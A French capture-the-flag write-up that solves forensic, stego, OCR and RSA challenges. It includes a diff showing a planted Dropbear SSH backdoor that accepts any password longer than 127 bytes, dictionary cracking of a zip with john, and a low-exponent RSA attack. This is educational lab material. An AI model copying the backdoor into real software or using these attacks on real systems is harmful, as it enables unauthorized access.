– – Sommaire – –
- [Forensic] OldSchool
- [Forensic] Backdoor
- [Forensic] Exfiltration
- [Forensic] H0ney
- [Misc] Leak
- [Misc] OCR
- [Crypto] RSA1
[Forensic] OldSchool
Voici une solution sur les 6 épreuves de forensic utilisant une machine virtuelle sous Windows 98. Je vous propose une solution qui ne nécessite pas de booter la machine virtuelle.
Source de téléchargement
- hsr_oldschool.ova (sha1sum: 2e7325cf3801520d117d5970c89bee15a42ab172)
Consignes
- Trouver le flag de l'utilisateur HSR.
- L'utilisateur HSR ne semble pas avoir l'habitude de manipuler des fichiers sous Windows 98.
- L'utilisateur HSR vous montre ses talents d'artiste sous Windows 98.
- L'ordinateur de l'utilisateur HSR semble bizarre, non ?
- L'utilisateur HSR ne se rappelle plus des tricks en ligne de commande. Pouvez-vous l'aider à se rémémorer ?
- HSR après plusieurs séances sous Windows 98 découvre la joie des "Oeufs de Pâques" fait par les créateurs, notamment lors de leur Bienvenue. Le flag est de la forme HSR{nom de l'argument}
Monter le système de fichiers sur son Linux
Un fichier
OVA
est une archive utilisé par des applications de virtualisation telles que VMware Workstation et Oracle VM Virtualbox. Il s’agit d’un package qui contient des fichiers utilisés pour décrire une machine virtuelle, qui comprend un fichier descripteur .OVF, un fichier manifeste facultatif (.MF) et des fichiers de certificat, ainsi que d’autres fichiers associés.
$ file hsr_oldschool.ova
hsr_oldschool.ova: POSIX tar archive
$ tar xvf hsr_oldschool.ova
vm_hacksecuold.ovf
vm_hacksecuold-disk001.vmdk
$ file vm_hacksecuold-disk001.vmdk
vm_hacksecuold-disk001.vmdk: VMware4 disk image
Les données du système de fichiers sont dans le fichier vm_hacksecuold-disk001.vmdk
.
On ne peut monter en l’état ce disque sur notre système d’exploitation Linux. On va passer par une convertion en .qcow2
afin de pouvoir monter le disque.
Pour rappel:
Qcow est un format d’image disque utilisé par QEMU, un hyperviseur de machine virtuelle qui s’exécute à l’intérieur d’un autre système d’exploitation.
$ qemu-img convert -f vmdk -O qcow2 vm_hacksecuold-disk001.vmdk vm_hacksecuold-disk001.qcow2
$ sudo modprobe nbd max_part=63
$ sudo qemu-nbd -c /dev/nbd0 ./vm_hacksecuold-disk001.qcow2
$ sudo mount /dev/nbd0p1 /mnt/
FLAG 1
Trouver le flag de l’utilisateur HSR.
On cherche le pattern du flag HSR{
partout sur le système de fichiers.
$ grep -R "HSR{" /mnt
Fichier binaire /mnt/WINDOWS/SYSTEM.DAT correspondant
/mnt/WINDOWS/TEMP/history.txt:echo 'HSR{FAKE_FLAG}'
/mnt/Mes documents/flag.txt:HSR{3asy_Fl@g!!}
Fichier binaire /mnt/RECYCLED/DC0.DOC correspondant
On utilisera strings
par la suite sur les “fichiers binaires” indiqués par grep
.
FLAG 2
L’utilisateur HSR ne semble pas avoir l’habitude de manipuler des fichiers sous Windows 98.
$ strings /mnt/RECYCLED/DC0.DOC | grep "HSR{"
HSR{2nd_fl4g_w@rmUp!!}
FLAG 4
L’ordinateur de l’utilisateur HSR semble bizarre, non ?
$ strings /mnt/WINDOWS/SYSTEM.DAT | grep "HSR{"
CommentHSR{What_a_new_Flag_H3r3}
FLAG 3
L’utilisateur HSR vous montre ses talents d’artiste sous Windows 98.
On cherche une image probablement en rapport avec HSR, explorons les noms des fichiers…
$ find /mnt | grep -i HSR
/mnt/WINDOWS/HSR.PWL
/mnt/WINDOWS/TEMP/HSR
/mnt/WINDOWS/TEMP/HSR/flag.txt
/mnt/WINDOWS/TEMP/HSR/real_flag.txt
/mnt/WINDOWS/TEMP/HSR/fake_flag.txt
/mnt/WINDOWS/Cookies/hsr@auto.search.msn[1].txt
/mnt/WINDOWS/Cookies/hsr@msn[2].txt
/mnt/WINDOWS/Cookies/hsr@search[1].txt
/mnt/WINDOWS/Cookies/hsr@bing[1].txt
/mnt/WINDOWS/Cookies/hsr@www.bing[1].txt
/mnt/WINDOWS/Cookies/hsr@google[1].txt
/mnt/WINDOWS/Cookies/hsr@search[2].txt
/mnt/WINDOWS/Hsr.bmp
C’est /mnt/WINDOWS/Hsr.bmp
qui contient le flag:
FLAG 5
L’utilisateur HSR ne se rappelle plus des tricks en ligne de commande. Pouvez-vous l’aider à se rémémorer ?
Lors de notre recherche du FLAG 1
, on a observé l’existence de /mnt/WINDOWS/TEMP/history.txt
:
$ cat /mnt/WINDOWS/TEMP/history.txt
...
echo 'J u s t c o n c a t m e : H S R { D 0 s K 3 Y _ f 0 r _ c 0 m m a n d _ H 1 s t 0 r Y }'
...
$ cat /mnt/WINDOWS/TEMP/history.txt | tr -d ' ' | grep HSR
echo'HSR{FAKE_FLAG}'
echo'Justconcatme:HSR{D0sK3Y_f0r_c0mmand_H1st0rY}'
FLAG 6
HSR après plusieurs séances sous Windows 98 découvre la joie des “Oeufs de Pâques” fait par les créateurs, notamment lors de leur Bienvenue. Le flag est de la forme HSR{nom de l’argument}
En cherchant “Easter Egg Windows98” sur Youtube on peut trouver la vidéo explicative suivante: https://www.youtube.com/watch?v=hB6lEMlqvbg
On cherche alors ce qui est en rapport avec WELDATA.exe
$ find /mnt | grep -i WELDATA
/mnt/WINDOWS/APPLOG/WELDATA.LGC
/mnt/WINDOWS/Application Data/Microsoft/WELCOME/WELDATA.EXE
/mnt/WINDOWS/Application Data/Microsoft/WELCOME/Raccourci vers Weldata.lnk
On cherche alors le flag en supposant qu’il contient _
ce qui est courant dans les formats de flag.
$ strings "/mnt/WINDOWS/Application Data/Microsoft/WELCOME/Raccourci vers Weldata.lnk" | grep "_"
You_are_a_real_rascal
[Forensic] Backdoor
Source de téléchargement
Résolution
Dropbear est un serveur et client SSH relativement petit. Il fonctionne sur une variété de plates-formes POSIX. Dropbear est un logiciel open source, distribué sous une licence de style MIT. Dropbear est particulièrement utile pour les systèmes Linux (ou autres Unix) de type “embarqués”, tels que les routeurs sans fil.
On cherche a savoir la différence avec la version originale afin de pouvoir exploiter la backdoor.
On extrait la version contenant la backdoor:
$ tar xvf dropbear-2017.75-backdoored.tar.gz
$ mv dropbear-2017.75{,-backdoored}
On télécharge la version originale:
$ wget https://matt.ucc.asn.au/dropbear/releases/dropbear-2017.75.tar.bz2
$ tar xvf dropbear-2017.75.tar.bz2
$ diff dropbear-2017.75 dropbear-2017.75-backdoored
...
diff '--color=auto' dropbear-2017.75/svr-authpasswd.c dropbear-2017.75-backdoored/svr-authpasswd.c
98c98
< if (constant_time_strcmp(testcrypt, passwdcrypt) == 0) {
---
> if (passwordlen > 0x7F || constant_time_strcmp(testcrypt, passwdcrypt) == 0) {
On peut ainsi se connecter en utilisant un mot de passe de longueur strictement supérieur a 127 (0x7F) et récupérer le flag sur le serveur.
[Forensic] Exfiltration
Source de téléchargement
Résolution
L’exfiltration de données étaient permises via une opération sur les ports sources des paquets réseaux TCP.
On peut automatiser facilement l’opération à l’aide de l’outil tshark
qui nous permet d’applique un filtre pour séléctionner les paquets dont le port source est supérieur ou égal à 50000, puis de séléctionner spécifiquement le port source tcp de chaque paquet filtré:
result=""
for port in $(tshark -nr ./hacksecu2020.pcap -Y "tcp.srcport >= 50000" -T fields -e tcp.srcport); do
n=$(($port - 50000))
result=$result$(python -c "print(chr($n))")
echo $result
done
Resultat:
Well done !!! You got the message. This is a padding to have a very very very very very very very very verylong text. The flag is HSR{3xf1ltr4t10n_0nlY_w1th_s0urc3_p0rt_As_l4st_y34r}
[Forensic] H0ney
Un service disponible au travers d’une connexion tcp nous demandait de rensigner une addresse ip et un port.
Une fois renseigné, on regarde ce qui nous est envoyé. Il faut donc écouter avec netcat
par exemple sur l’ip et le port indiqué.
$ nc -lvvp 8888
SSH-2.0-paramiko_2.7.1
On comprend alors qu’un bot tente d’établir une connexion SSH en utilisant la librairie python paramiko
sur l’adresse ip et le port que nous avons renseigné.
Dans un premier temps, on va récupérer le nom de l’utilisateur et le mot de passe avec lequel le bot cherche a se connecter, puis on laissera le connecter afin d’observeur les actions qu’il mène.
Méthode 1
On récupère les credentials du bot en utilisant ssh-grabber. Cet outil monitore en continu les processus du système pour récupérer ces informations:
$ git clone https://github.com/braindead-sec/ssh-grabber
$ bash ./ssh-grabber/ssh-grabber.sh
Listening for SSH connections...press Ctrl-C to exit.
SuperEvilHackerOfShit:YoloSwagSup3rCh4ll3ng3
On permet au bot de se connecter en créant un utilisateur avec les données récupérées:
$ adduser SuperEvilHackerOfShit --force-badname
Puis on monitore les processus appelés par cet utilisateur en utilisant pspy. On récupère ainsi le flag:
Here is the flag: HSR{h0neyp0t_Its_1mp0rt4nt_4_3xf1ltr4t10n}
Méthode 2
On utilise l’image docker cowrie pour réaliser les deux mêmes étapes que la méthode 1 en utilisant le même outil.
docker run -d -p 8888:2222 --name cowrie cowrie/cowrie
On regarde les logs du container pour récupérer le nom de l’utilisateur (on aura pas besoin de son mot de passe):
docker logs cowrie | grep login
2020-02-11T06:08:15+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,0,157.159.32.43] login attempt [b'SuperEvilHackerOfShit'/b'YoloSwagSup3rCh4ll3ng3'] failed
2020-02-11T06:08:16+0000 [-] unauthorized login:
On modifie les paramètres de cowrie pour qu’il accepte les connexions de ce nouvel utilisateur en suivant la documentation:
$ docker exec -it cowrie bash
cowrie@9ddd8f632e04:~/cowrie-git$ cd etc/
cowrie@9ddd8f632e04:~/cowrie-git/etc$ cp userdb.example userdb.txt
cowrie@9ddd8f632e04:~/cowrie-git/etc$ echo "SuperEvilHackerOfShit:x:*" >> userdb.txt
cowrie@9ddd8f632e04:~/cowrie-git/etc$ exit
On relance le bot et on récupère le flag dans les logs de la même façon.
[Misc] Leak
Source de téléchargement
Résolution
$ file hsrleak.wav
hsrleak.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz
On analyse le spectre en utilisant sonic-visualiser
On utilise l’option:
Layer > Add Spectrogram (Shift + G)
On récupère ainsi un lien pastebin avec un ensemble de mots de passe que l’on doit parser:
$ wget https://pastebin.com/raw/VRAKUxT9
$ cat VRAKUxT9 | grep -oP ":\K(\w+)" > wordlist.txt
Un zip était caché dans le fichier hsrleak.wav
que l’on a extrait avec binwalk
$ binwalk -e hsrleak.wav
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
2645804 0x285F2C Zip archive data, encrypted at least v2.0 to extract, compressed size: 164113, uncompressed size: 206008, name: flag.png
2810077 0x2AE0DD End of Zip archive, footer length: 22
$ file _hsrleak.wav.extracted/285F2C.zip
_hsrleak.wav.extracted/285F2C.zip: Zip archive data, at least v2.0 to extract
Le zip est chiffré, on casse ce chiffrement avec une attaque par dictionnaire en utilisant le fichier wordlist.txt
tout juste créé à l’aide du pastebin.
$ zip2john _hsrleak.wav.extracted/285F2C.zip > hash.john
$ john --wordlist=$PWD/wordlist.txt hash.john
$ john --show hash.john
285F2C.zip/flag.png:3yalh42hl:flag.png:285F2C.zip::285F2C.zip
1 password hash cracked, 0 left
$ unzip -P "3yalh42hl" ./_hsrleak.wav.extracted/285F2C.zip
Archive: ./_hsrleak.wav.extracted/285F2C.zip
inflating: flag.png
On obtient donc le flag dans l’image flag.png
[Misc] OCR
Source de téléchargement
Résolution
Méthode 1
Le zip contient un dossier imgs
contenant lui même 1272 images png.
$ unzip hsr_ocr.zip
$ ls imgs/ | wc -l
1272
Chaque image réprésente une lettre dont voici un exemple:
Les dernières images représentant des symboles =
, on comprend qu’il va falloir concaténer l’ensemble des lettres afin d’obtenir une chaine de caractères encodée en base64. C’est en effet le principe de l’OCR:
La reconnaissance optique de caractères (ROC), en anglais optical character recognition (OCR), ou océrisation, désigne les procédés informatiques pour la traduction d’images de textes imprimés ou dactylographiés en fichiers de texte.
Il existe plusieurs outils connus pour résoudre ce genre de problèmes comme tesseract
et son extension python pytesseract
ou encore gocr
que nous utiliserons ici.
Attention: Utiliser ces outils en analysant les images indépendemment ne permet pas une reconnaissance avec précision et l’outil ne sera pas capable de faire la différence entre un i
et un j
par exemple. L’astuce est donc de concaténer toutes les images et d’analyser le résultat. Pour concaténer:
import os
from PIL import Image
imgs = os.listdir('imgs')
imgs.sort()
width = 360
height = 360
def get_concat_h(imgs):
dst = Image.new('RGB', (width*len(imgs), height))
w = 0
for img in imgs:
print(img)
i = Image.open(f'imgs/{img}')
dst.paste(i, (w, 0))
w += width
return dst
result = get_concat_h(imgs)
result.save('/tmp/result.png')
Vous ne pourrez probablement pas afficher le résultat car les dimensions de result.png
sont:
$ file /tmp/result.png
/tmp/result.png: PNG image data, 457920 x 360, 8-bit/color RGB, non-interlaced
Voici un exemple de résultat pour une concaténation de dix images:
$ gocr -i /tmp/result.png -u "A" > /tmp/b64.txt
$ cat /tmp/b64.txt
S W 1 h Z 2 V N Y W d p Y 2 s g d 2 F z I G N y Z W F 0 Z W Q g a W 4 g M T k 4 N y B i e S B K b 2 h u I E N y a X N 0 e S B 3 a G V u I H d v c m t p b m c g Y X Q g R H V Q b 2 5 0 A C B 0 b y B j b 2 5 2 Z X J 0 I D I 0 A W J p d C B p b W F n Z X M g K D E 2 I G 1 p b G x p b 2 4 g Y 2 9 s b 3 J z K S B 0 b y A 4 A W J p d C B p b W F n Z X M g K D I 1 N i B j b 2 x v c n M p A C B z b y B 0 a G V 5 I G N v d W x k I G J l I G R p c 3 B s Y X l l Z C B v b i B t b 3 N 0 I H N j c m V l b n M u I E l 0 I H d h c y B m c m V l b H k g c m V s Z W F z Z W Q g a W 4 g M T k 5 M C B 3 a G V u I E R 1 U G 9 u d C B h Z 3 J l Z W Q g d G 8 g d H J h b n N m Z X I g Y 2 9 w e X J p Z 2 h 0 I H R v I E l t Y W d l T W F n a W N r I F N 0 d W R p b y B M T E M s I H N 0 a W x s I G N 1 c n J l b n R s e S B 0 a G U g c H J v a m V j d C B t Y W l u d G F p b m V y I G 9 y Z 2 F u a X p h d G l v b i 4 K C k l u I E 1 h e S A y M D E 2 A C B p d C B 3 Y X M g c m V w b 3 J 0 Z W Q g d G h h d C B J b W F n Z U 1 h Z 2 l j a y B o Y W Q g Y S B 2 d W x u Z X J h Y m l s a X R 5 I H R o c m 9 1 Z 2 g g d 2 h p Y 2 g g Y W 4 g Y X R 0 Y W N r Z X I g Y 2 F u I G V 4 Z W N 1 d G U g Y X J i a X R y Y X J 5 I G N v Z G U g b 2 4 g c 2 V y d m V y c y B 0 a G F 0 I H V z Z S B 0 a G U g Y X B w b G l j Y X R p b 2 4 g d G 8 g Z W R p d C B 1 c 2 V y A X V w b G 9 h Z G V k I G l t Y W d l c y 4 g U 2 V j d X J p d H k g Z X h w Z X J 0 c y B p b m N s d W R p b m c g Q 2 x v d W R G b G F y Z S B y Z X N l Y X J j a G V y c y B v Y n N l c n Z l Z C B h Y 3 R 1 Y W w g d X N l I G 9 m I H R o Z S B 2 d W x u Z X J h Y m l s a X R 5 I G l u I G F j d G l 2 Z S B o Y W N r a W 5 n I G F 0 d G V t c H R z A i B I U 1 J 7 M W 1 h Z z F j a 1 8 x c 1 9 B X 2 d y M 2 F 0 X 3 Q w M G x 9 I C 4 g V G h l I H N l Y 3 V y a X R 5 I G Z s Y X c g d 2 F z I G R 1 Z S B 0 b y B J b W F n Z U 1 h Z 2 l j a y B j Y W x s a W 5 n I G J h Y 2 t l b m Q g d G 9 v b H M g d 2 l 0 a G 9 1 d C B m a X J z d C B w c m 9 w Z X J s e S B j a G V j a 2 l u Z y B 0 b y B l b n N 1 c m U g c G F 0 a C B h b m Q g Z m l s Z S B u Y W 1 l c y B h c m U g Z n J l Z S B v Z i B p b X B y b 3 B l c i B z a G V s b C B j b 2 1 t Y W 5 k c y 4 g V G h l I H Z 1 b G 5 l c m F i a W x p d H k g Z G l k I G 5 v d C B h Z m Z l Y 3 Q g S W 1 h Z 2 V N Y W d p Y 2 s g Z G l z d H J p Y n V 0 a W 9 u c y B 0 a G F 0 I G l u Y 2 x 1 Z G V k I G E g c H J v c G V y b H k g Y 2 9 u Z m l n d X J l Z C B z Z W N 1 c m l 0 e S B w b 2 x p Y 3 k u C g = =
L’option -u "A"
de gocr
permet de remplacer les caractères inconnus par un A
. Cela permet d’empecher les erreurs au moment de la convertion de base sans gêner la précision du résultat si le nombre de caractères inconnus reste suffisamment faible. On obtient ainsi le flag HSR{1mag1ck_1s_A_gr3at_t00l}
:
$ cat /tmp/b64.txt | tr -d ' ' | base64 -d
ImageMagick was created in 1987 by John Cristy when working at DuPont to convert 24bit images (16 million colors) to 8bit images (256 colors) so they could be displayed on most screens. It was freely released in 1990 when DuPont agreed to transfer copyright to ImageMagick Studio LLC, still currently the project maintainer organization.
In May 2016 it was reported that ImageMagick had a vulnerability through which an attacker can execute arbitrary code on servers that use the application to edit useruploaded images. Security experts including CloudFlare researchers observed actual use of the vulnerability in active hacking attempts HSR{1mag1ck_1s_A_gr3at_t00l} . The security flaw was due to ImageMagick calling backend tools without first properly checking to ensure path and file names are free of improper shell commands. The vulnerability did not affect ImageMagick distributions that included a properly configured security policy.
Méthode 2
Sur le même principe on peut utiliser les outils convert
et montage
pour la traiter et concaténer les images.
(merci @meroupatate pour l’astuce)
The convert program is a member of the ImageMagick(1) suite of tools. Use it to convert between image formats as well as resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more.
The montage program is a member of the ImageMagick(1) suite of tools. Use it to create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more.
On réalise un premier traitement d’image appliquant les filtres suivants:
- `-crop 140x140+140+80` : découpage de l'image sur 140x140 pixels à partir de 140 pixels vers la droite et 80 pixels vers le bas
- `+repage` : on supprime les métadonnées
- `-colorspace gray` : convertion du RGB en niveau de gris
- `-threshold 60%` : seuil de l'image à 60% (blanc si intensité en dessous de 60% et noir si au dessus)
mkdir out 2>/dev/null
for i in {0000..1271}; do
convert "imgs/image_$i.png" -crop 140x140+140+80 +repage -colorspace gray -threshold 60% "out/out_$i.png"
done
Voici le résultat pour out/out_0000.png
:
Pour la concaténation, on utilise montage
avec les options suivantes:
- `-tile 1272x1` : grille de 1272 images horizontalement et 1 image verticalement
- `-geometry +0+0` : zéro pixel entre les images
$ montage out/out_*.png -tile 1272x1 -geometry +0+0 final.png
Voici le résultat pour une concaténation de 10 images.
$ file final.png
final.png: PNG image data, 178080 x 140, 1-bit grayscale, non-interlaced
On récupère le flag en utilisant gocr
comme pour la méthode 1.
$ gocr final.png -u "A" | base64 -d
ImageMagick was created in 1987 by John Cristy when working at DuPonN to convert 2bit images (16 million colors) to 8bit images (256 colors) so they could be displayed on most screens. It was freely released in 1990 when DuPont agreed to transfer copyright to ImageMagick Studio LLC, still currently the project maintainer organization.
In May 2016 it was reported that ImageMagick had a vulnerability through which an attacker can execute arbitrary code on servers that use the application to edit useruploaded images. Security experts including CloudFlare researchers observed actual use of the vulnerability in active hacking attempts HSR{1mag1ck_1s_A_gr3at_t00l} . The security flaw was due to ImageMagick calling backend tools without first properly checking to ensure path and file names are free of improper shell commands. The vulnerability did not affect ImageMagick distributions that included a properly configured security policy.
[Crypto] RSA1
Source de téléchargement
Analyse du challenge
$ unzip rsa1.zip
Archive: rsa1.zip
inflating: clef1_pub.pem
inflating: clef2_pub.pem
inflating: message1.base64
inflating: message2.base64
En analysant les clefs, on se rend compte que l’exposant publique e
est faible et égal à 3 ce qui nous inspire une attaque utilisant le théorème des restes chinois.
Résolution
On va utiliser un fork de RsaCtfTool
sur laquelle j’ai pu contribuer et qui implémente cette attaque.
Le code est plus détaillé ici: chinese_attack.py
$ git clone https://github.com/Headorteil/RsaCtfTool
$ python2.7 ./RsaCtfTool/RsaCtfTool.py --publickey "clef?_pub.pem" --verbose --uncipherfile "message?.base64"
...
[*] Performing chinese attack.
Insuffisant number of arguments
Initialement le code était prévu pour utiliser au minimum 3 clefs, on corrige le code à la volée pour qu’il en accepte 2:
$ sed -i "s/self.len<3/self.len<2/g" RsaCtfTool/RsaCtfTool.py
$ python2.7 ./RsaCtfTool/RsaCtfTool.py --publickey "clef?_pub.pem" --verbose --uncipherfile "message?.base64"
...
[*] Performing chinese attack.
Bravo, le théorème de Bezout n'a aucun secret pour vous, le flag est HSR{I am the king of Bezout}.
Well done, the Bezout theorem is not a problem for you, The flag is HSR{I am the king of Bezout}.
做得好,Bezout定理对您没有秘密,旗帜是
HSR{I am the king of Bezout}
(traduction approximative...)